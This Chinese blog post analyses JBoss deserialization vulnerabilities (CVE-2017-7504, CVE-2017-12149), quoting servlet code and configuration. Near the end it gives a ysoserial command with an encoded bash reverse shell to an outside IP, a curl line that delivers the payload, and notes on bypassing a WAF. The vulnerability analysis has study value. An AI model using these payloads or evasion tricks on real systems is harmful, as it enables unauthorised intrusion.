前言

这段时间挖edusrc的时候,在一个网段上发现weblogic,jboss,XXL-JOB等等java产品,所以博客才会更着这么勤,希望不是蜜罐吧

JBoss的使用

简单介绍

Tomcat 是 JBoss 的一部分:在早期版本的 JBoss(现在的 WildFly)中,Tomcat 被用作其 Web 容器部分。也就是说,JBoss 使用 Tomcat 来处理 Servlet 和 JSP 的请求,但 JBoss 还提供了更多的企业级服务,如 EJB、JPA 等。
Tomcat + JBoss 组合:Tomcat 处理 HTTP 请求和 Web 层的服务,而 JBoss 提供更高层次的企业级功能。这种组合允许开发者在 Web 层和企业层之间进行分离。

WildFly 是 JBoss AS 7 之后的名字:从 WildFly开始,Tomcat 不再是 WildFly 的主要 Web 容器。WildFly 有自己的 HTTP 子系统来处理 Web 请求。不过,Tomcat 仍然可以作为插件或外部组件来与 WildFly 集成使用。

jboss支持完整 Java EE 规范的应用,相当于是一个功能集合
通过组合这些开源组件,可以基本实现大部分 JBoss 提供的功能:

数据访问层:使用 Hibernate。
应用框架:使用 Spring。
消息队列:使用 ActiveMQ 或其他 JMS 兼容的消息中间件。
事务管理:使用 Atomikos 或 Narayana 进行分布式事务管理。
Web 容器:使用 Tomcat 或 Jetty 来托管应用。
安全性:使用 Spring Security 或 Keycloak 进行身份验证和授权。
Web 服务:使用 JAX-RS 和 Jersey 来实现 RESTful 服务。
微服务架构:使用 Spring Cloud 和 Kubernetes 来构建和部署微服务。

漏洞

其实漏洞的底层原理很简单,和之前的weblogic一样,Java EE应用程序之前需要通讯,如果存在序列化和反序列化通讯,并且反序列化时没有有效处理,就有可能存在漏洞

简单看了下,基本都是java原生反序列化+http访问,下面就以找反序列化点+路由的方式分析漏洞

JBoss AS 4.x

CVE-2017-7504

存在漏洞的路径为:/jbossmq-httpil/HTTPServerILServlet/*

jbossmq-httpil.war 是一个与 JBoss MQ(消息队列)相关的 Web 应用归档(WAR)文件。它通常是 JBoss EAP(企业应用平台)的一部分,用于提供消息队列(JMS)服务的 HTTP 接口层。该文件的功能是将 JBoss MQ(一个消息中间件解决方案)通过 HTTP 协议暴露出来,从而允许客户端通过 HTTP 访问 JMS 消息队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/jbossmq-httpil
├── META-INF
│ └── MANIFEST.MF
└── WEB-INF
├── classes
│ └── org
│ └── jboss
│ └── mq
│ └── il
│ └── http
│ └── servlet
│ └── HTTPServerILServlet.class
├── jboss-web.xml
└── web.xml

结构比较简单就是一个简单的war,而且就只有一个Servlet文件
web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<servlet>
<servlet-name>HTTPServerILServlet</servlet-name>
<display-name>JBossMQ HTTP-IL Servlet</display-name>
<description>Provides and HTTP invocation layer for JBossMQ</description>
<servlet-class>org.jboss.mq.il.http.servlet.HTTPServerILServlet</servlet-class>
<init-param>
<param-name>Invoker</param-name>
<param-value>jboss.mq:service=Invoker</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>HTTPServerILServlet</servlet-name>
<url-pattern>/HTTPServerILServlet/*</url-pattern>
</servlet-mapping>

HTTPServerILServlet.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.jboss.mq.il.http.servlet;

public class HTTPServerILServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (log.isTraceEnabled()) {
log.trace("doGet(HttpServletRequest " + request.toString() + ", HttpServletResponse " + response.toString() + ")");
}

response.getWriter().print("<html><head><title>JBossMQ HTTP-IL Servlet</title><head><body><h1>This is the JBossMQ HTTP-IL</h1></body></html>");
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (log.isTraceEnabled()) {
log.trace("doPost() defers to processRequest, see the parameters in its trace.");
}

this.processRequest(request, response);
}
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (log.isTraceEnabled()) {
log.trace("processRequest(HttpServletRequest " + request.toString() + ", HttpServletResponse " + response.toString() + ")");
}

response.setContentType("application/x-java-serialized-object; class=org.jboss.mq.il.http.HTTPILResponse");
ObjectOutputStream outputStream = new ObjectOutputStream(response.getOutputStream());

try {
ObjectInputStream inputStream = new ObjectInputStream(request.getInputStream());
HTTPILRequest httpIlRequest = (HTTPILRequest)inputStream.readObject();//反序列化点,最简单的一集
String methodName = httpIlRequest.getMethodName();
String clientIlId;
long clientTime;
if (methodName.equals("clientListening")) {
..............................................

JBoss AS 6.x

CVE-2017-12149

存在漏洞的路径为:

1
2
3
4
5
6
/invoker/readonly/*
/invoker/JMXInvokerServlet/*
/invoker/EJBInvokerServlet/*
/invoker/JMXInvokerHAServlet/*
/invoker/EJBInvokerHAServlet/*
/invoker/restricted/JMXInvokerServlet/* (需要登录)

同样也是war,而且war放置的位置也相似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
invoker
└── WEB-INF
├── classes
│ └── org
│ └── jboss
│ └── invocation
│ └── http
│ └── servlet
│ ├── InvokerServlet$GetCredentialAction.class
│ ├── InvokerServlet$GetPrincipalAction.class
│ ├── InvokerServlet.class
│ ├── NamingFactoryServlet.class
│ └── ReadOnlyAccessFilter.class
├── jboss-scanning.xml
├── jboss-web.xml
└── web.xml

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
    <filter>
<filter-name>ReadOnlyAccessFilter</filter-name>
<filter-class>org.jboss.invocation.http.servlet.ReadOnlyAccessFilter</filter-class>
<init-param>
<param-name>readOnlyContext</param-name>
<param-value>readonly</param-value>
</init-param>
<init-param>
<param-name>invokerName</param-name>
<param-value>jboss:service=NamingBeanImpl</param-value>
<description>The JMX ObjectName of the naming service mbean
</description>
</init-param>
</filter>

<filter-mapping>
<filter-name>ReadOnlyAccessFilter</filter-name>
<url-pattern>/readonly/*</url-pattern>
</filter-mapping>

<!-- ### Servlets -->
<servlet>
<servlet-name>EJBInvokerServlet</servlet-name>
<servlet-class>org.jboss.invocation.http.servlet.InvokerServlet</servlet-class>
<init-param>
<param-name>invokerName</param-name>
<param-value>jboss:service=invoker,type=http</param-value>
<description>The RMI/HTTP EJB compatible invoker</description>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet>
<servlet-name>EJBInvokerHAServlet</servlet-name>
<servlet-class>org.jboss.invocation.http.servlet.InvokerServlet</servlet-class>
<init-param>
<param-name>invokerName</param-name>
<param-value>jboss:service=invoker,type=httpHA</param-value>
<description>The HA-RMI/HTTP EJB compatible invoker</description>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet>
<servlet-name>JMXInvokerServlet</servlet-name>
<servlet-class>org.jboss.invocation.http.servlet.InvokerServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- ### Servlet Mappings -->
<servlet-mapping>
<servlet-name>EJBInvokerServlet</servlet-name>
<url-pattern>/EJBInvokerServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>EJBInvokerHAServlet</servlet-name>
<url-pattern>/EJBInvokerHAServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>JMXInvokerServlet</servlet-name>
<url-pattern>/JMXInvokerServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>JMXInvokerServlet</servlet-name>
<url-pattern>/JMXInvokerHAServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>JMXInvokerServlet</servlet-name>
<url-pattern>/readonly/JMXInvokerServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>JMXInvokerServlet</servlet-name>
<url-pattern>/restricted/JMXInvokerServlet/*</url-pattern>
</servlet-mapping>

漏洞利用点可以分为两个ReadOnlyAccessFilter和InvokerServlet
ReadOnlyAccessFilter.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.jboss.invocation.http.servlet;

public class ReadOnlyAccessFilter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if (user == null && this.readOnlyContext != null) {
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;

try {
mi = (MarshalledInvocation)ois.readObject();//漏洞点
}
..............................................

InvokerServlet.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.jboss.invocation.http.servlet;

public class InvokerServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.processRequest(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.processRequest(request, response);
}
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
boolean trace = log.isTraceEnabled();
if (trace) {
log.trace("processRequest, ContentLength: " + request.getContentLength());
log.trace("processRequest, ContentType: " + request.getContentType());
}
Boolean returnValueAsAttribute = (Boolean)request.getAttribute("returnValueAsAttribute");
try {
response.setContentType(RESPONSE_CONTENT_TYPE);
MarshalledInvocation mi = (MarshalledInvocation)request.getAttribute("MarshalledInvocation");
if (mi == null) {
ServletInputStream sis = request.getInputStream();//漏洞点
ObjectInputStream ois = new ObjectInputStream(sis);
mi = (MarshalledInvocation)ois.readObject();
ois.close();
}
..............................................

简单利用

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNjAuMTM1LjIyLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

java反序列化的waf绕过

遇到了就总结一下,绕过思路都是抄的大佬的

尝试了脏数据,但是waf还是拦截
尝试了http分块传输,被拦截了,大小写绕过也不行
尝试了延时分块传输,连接超时报错java.net.SocketException: Connection reset by peer: socket write error

最后找到了p神的一篇文章https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

也可以使用yakit,自带混淆,双字节,脏数据,关键是可以一键反连,链子也还算挺全的,怪不得那些红队大佬都喜欢用它代替bp
QQ20241114-024028

但是yakit是国产的,也不知道如果被有些人滥用会不会被封